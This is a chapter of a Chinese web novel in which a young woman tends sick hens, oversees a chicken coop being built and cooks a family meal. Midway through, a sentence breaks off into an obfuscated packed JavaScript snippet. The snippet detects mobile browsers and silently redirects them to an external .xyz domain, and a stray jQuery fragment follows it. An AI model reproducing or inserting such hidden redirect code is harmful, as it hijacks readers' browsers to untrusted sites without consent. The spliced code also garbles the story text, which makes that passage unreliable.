祺哥儿看看鸡,再看看阿姊,心下不由担忧起来。阿娘说阿姊已将家中的钱全花了,若这鸡病了,还不能生蛋,那可怎么办?
他想了半天,迟疑着问道:“阿姊,不然将粉鼻也卖了罢。”
“为何?你不是最喜粉鼻?”周袅袅边盛饭边问,“是想换一只留下吗?除了一撮毛,你都可以选。”
祺哥儿脑袋使劲儿摇晃起来,表示出自己的坚决:“卖掉帮阿姊还债。”
乍听此话,周袅袅一下呆住了,她竟不知弟弟有这般心思,一时没说出话来。
向大娘听了却瞬间悲从心来,一屁股坐到祺哥儿身前,狠狠搂住他小小的身躯,两行泪霎然落下,口中悲呼道:“我的儿,我的祺哥儿,我苦命的孩儿啊!你怎如此命苦,生在我家了!都是阿娘没用,若没这身病,靠着你阿爹留下的钱,说不得你现已有那猫狗顽了……”
祺哥儿见娘亲凄然泪下,一时也抑制不住心中惶恐,害怕地跟着哭了出来。这一大一小就坐在两只大脑袋鸡旁,搂在一起恸哭。
惊得周袅袅在旁不敢作声,一直等到向大娘的哭声由悲恸改为小声抽泣,才悄悄走过来小声问:“祺哥儿莫要如此担忧,休听阿娘胡说,阿姊有本事还钱的。我知你爱粉鼻,阿姊说能留下就绝对可以!往后粉鼻便归你管如何?”
“可是……”祺哥儿低着头抹着眼泪,两只泛红的眼睛带着询问之色望向她:“阿娘说阿姊欠了好些钱,若这大脑袋鸡还不产蛋,该如何是好啊……呜呜呜……”说着说着,感觉更加伤心,一时间哭到无法克制,鼻涕眼泪都抹在向大娘的衣服上,让她一时不知该继续哭还是将儿子推开。
周袅袅好笑地看着这一幕,伸手使劲儿在祺哥儿脑袋上揉搓了一番,这总角头剃秃的一圈已长出了毛寸,摸起来毛茸茸的,手感颇好。但她也不敢过分,只摸了两下便收手,顺势将祺哥儿拉出向大娘怀抱,让他站在自己身前来。
“听阿姊同你讲,”她一手拉着祺哥儿,一手为其擦拭眼泪,“这两只……大脑袋鸡,阿姊五日内定能治好,让它们每日产蛋给祺哥儿吃。而且,阿姊不单要养母鸡,还要养小鸡,昨日阿罗不是说可以去他家挑鸡吗,便由祺哥儿去挑选如何?你挑来的小鸡到时和粉鼻一起长大,粉鼻抓老鼠,小鸡产蛋吃,祺哥儿觉得怎样?”
祺哥儿听着阿姊的畅享,情绪慢慢平复下来,也期待起来。仰起头将红彤彤的鼻头对向自家阿姊,确认般问道:“真的吗?”
“当然!”周袅袅给出了确定的回答,同时用严厉的眼神制止了呆在后面想继续说风凉话的向大娘:“娘,你若无事,将鸡喂一下,莫要添乱了。”
向大娘直气得一摔门进了正房,嘴里嘀嘀咕咕不知在骂些什么。又忽想到刚刚自己是坐在地上的,连忙打开门回到院中将后背好一顿拍打。一时间灰尘漫天,惹得大花急忙领着五只小猫匍匐着跑走,就连两只大脑袋母鸡都跑远了。
祺哥儿是头一回见家里鸡飞猫跳,也不哭了,噗嗤一声笑了出来,从鼻孔中冒出个巨大的泡泡,不好意思地红了脸。好一会儿才向阿姊追问:“那是今日便去挑小鸡吗?”
“今日阿姊叫了做竹编的刘待诏来帮小鸡搭建鸡窝,待整理好院子,让娘带你去阿罗家挑几只小鸡来。”
“阿姊不去吗?”
“阿姊要去夜市摆摊呀,昨日已有人预定了咱家的猫饭,知道吗,还有个跟你差不多大的小郎君想预定狗饭,等鸡窝事了,咱们便要准备起来了。”
“那我也来帮忙!”
眼见着祺哥儿的情绪恢复了,周袅袅才端起已放凉的粥喝起来。向大娘见了,依旧没有好颜色地拐进厨房,过一会儿拿了个水煮蛋出来,往桌上一放便走。周袅袅抿着嘴拿起那蛋,也没说话,只是立即剥壳吃了。小院变得好似根本没起过风波般安静。
吃过朝食,她便开始收拾院子,先将搭建鸡窝的角落腾空,用扫帚里里外外清扫个遍,又掸水压下灰尘,为刘待诏准备的施工地点便打扫完毕。祺哥儿也来帮忙,他向猫窝处赶着四处乱跑的小猫们,一人六猫围着院子疯跑个不停。两只大脑袋母鸡则悠闲地在小院中闲逛,一点都没有病鸡的自觉。
收拾妥当后,她来到院子角落中,将早已买好的药材拿出。这是她早上专门为鸡肿头综合征准备的,先将黄连、黄柏、黄芩、栀子按克数取出,放入罐中混合捣成粉末,黄连解毒散便制好了。再拿出个不用的铜盆将药材与米糠混合好,放在院子角落充当暂时的喂食器。
两只母鸡似是知晓此处为自家食盆,刚放地上便扇动翅膀助跑过来,双双埋头苦吃。周袅袅在旁欣慰地看着,脑海中已开始勾勒一月后小院中喧闹的画面了。
不若,也在这院中种点药材?这样常用药便可在家配置了,就是不知阿娘会不会又气到装晕。到时小狗们也都到了,院中到处都是植物与毛茸茸,只是想想便是开心。
敲门声乍起,闻听此音,大花叼起一撮毛便跑,其他四只小猫紧随其后,一溜烟返回厨房猫窝后方躲起来,不敢露头。祺哥儿也有些紧张,拽住自己阿姊的衣角不松手,眼睛直勾勾看向院门口,正看见三人立于门旁。
“这里是周娘子家吗?周娘子可在?”为首一人高声呼喊。
周袅袅连忙应道:“来了来了,是刘待诏吧,稍等我这就开门。”她牵起祺哥儿,想与他一同去开门,但弟弟却滑的像泥鳅一般,呲溜跑到正房,同向大娘呆在一起。她便只好自己招呼客人。
打开门,果然刘待诏正站于门前,身后跟着两个身着短打的汉子。见来应门的是个娇俏小娘子,其中一个还红了脸,不敢抬头再看。
刚进门,刘待诏便进入了工作状态,眼睛打量起整个院子。见院中一角空空荡荡,就知道是为搭建鸡棚专门收拾出的空间,满意点头道:“周娘子准备的甚是妥帖,吾等这便能开工了。”随即吩咐起两名徒弟开始丈量尺寸。
方案与价格早在昨日早市便已定好,周袅袅自己对建造鸡棚一窍不通,自然不用留在院中监工。她见三人已各自就位,也不打扰,转身回到厨房,她要为自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227239|181728||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家人与刘待诏三人做晚餐,同时将今日份的猫饭狗饭准备出来。
昨日买的猪腿肉还剩下很多,她决定今日便将这些肉卤了,让阿娘与弟弟也尝尝鲜。又打量起家中还剩的菜,菘菜还有许多,炒出来正好够几人吃。
她先将猪腿肉放入盛满水的盆中,在等待血水流出的时间,拿出葱姜蒜一一切好备用。猪腿肉冷水下锅,切好的姜片放入去腥,待水开后用勺子将浮沫?出,继续炖煮。待血水流尽,方才将肉捞出。
此时小院中已充满了浓浓的肉香,刘待诏见徒弟们明显有些心不在焉,轻咳一声:“咳,主人家大方给我等吃肉,便更好认真做活才是。”
两名徒弟面露羞愧,正色道:“师傅说的对,我们今日定多出力气,争取早日完工。”说罢便不再想其他,认真挖起水槽来。
周袅袅却不知锅中肉香已令刘待诏等人心思浮动,正一心一意对待煮好的猪肉。她在锅中下油,待油热将葱姜蒜放入,炒香后才陆续放胡萝卜、猪肉,翻炒至每一块肉都浸入油后加入酱油、盐、桂皮、八角、香叶与草果,大火入味后加入开水,盖上锅盖等待炖煮完成,一道卤猪腿肉便做好了。
此时向大娘也闻到味道,起身来至正房门前,犹豫了半天没好意思出门,只能扒着门去闻。而祺哥儿早已从正房跑至厨房,正蹲在灶前帮忙看火,见阿姊又开始切起菘菜,忙问道:“阿姊,猪腿肉可好了?”
“还要炖煮半个时辰呢,”看出祺哥儿的渴望,周袅袅边继续切菜边说:“祺哥儿,咱家的日子定会越过越好,等明年还要送你入学呢,到时可要好生学习。”
“知道了。”祺哥儿满脑子都是肉香,哪里听得到阿姊在说什么,随口回应后还依旧眼巴巴望着肉锅出神。
周袅袅索性不去管他,切好菘菜后便开始做调味汁。第二道菜便是许久未吃过的醋溜白菜,虽然没有小米辣,但也够了。将白糖、醋、酱油与水按比例混合后,于锅中放入猪油,油开后直接倒入切好的菘菜,先炒菘菜帮再下菘菜叶,炒软后倒入调好的调味汁,翻炒几下便能出锅了。
空气中自然又弥漫开食醋的酸气,但这味道并不呛人,祺哥儿使劲儿吸气,仿佛在品味这道菜,闻了半天才发问:“阿姊,这菘菜好酸啊。”
“今日咱们吃醋溜菘菜,绝对是你未曾吃过的味道。”周袅袅还故意馋自家弟弟,祺哥儿被说得直咽口水,但因菜还没做完,不得不继续看火。
接下来,周袅袅熟练地将猫饭做好。又单独拿出一个碗来,在猫饭的基础上又多放了家中剩下的蔬菜与鱼肉,并打开锅盖用勺子?出卤猪腿肉的汤汁浇上去。这是昨日那小郎君预定的狗饭,她准备带到夜市上进行交易。
此时卤猪腿肉也好了,她示意祺哥儿关火,自己则从前厅抬出长桌,在小院中摆好。招呼着向大娘与刘待诏:“开饭了!”
向大娘几乎在听到指令的瞬间夺门而出,刘待诏与他的两位徒弟也第一时间放下手中的活计,一同向长桌走来。不知这周娘子做的甚美食,也太香了!